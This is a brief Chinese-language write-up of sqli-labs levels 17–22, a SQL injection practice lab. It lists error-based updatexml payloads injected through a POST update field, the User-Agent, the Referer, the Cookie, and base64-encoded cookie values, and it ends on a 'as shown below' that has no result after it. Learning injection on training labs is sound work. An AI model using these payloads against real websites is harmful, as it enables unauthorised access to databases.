sqlilab 17-22简略版

1.POST update注入（17关）

爆出数据库的版本，1' or updatexml (1,concat(0x7e,version(),0x7e),1) #

2.Header报错 （18关）

在UA末尾添加'报错，存在注入点

注入语句：1',1,updatexml(1,concat(0x7e,database(),0x7e),1)) #

爆出数据库为security

 

3.Referer（19关）

在Referer末尾加单引号，报错

Referer: 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

4.cookie（20关）

在原始界面输入内容返回如下，尝试抓包后在cookie后注入

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

 5.BASE64转码（21关，22关更换为双引号）

输入用户名和密码为admin后显示为YWRtaW4=

通过burp suite转码后结果为admin

所以我们将注入的语句通过base64进行编码，复制到cookie参数后面

 如下，就可以看到库名了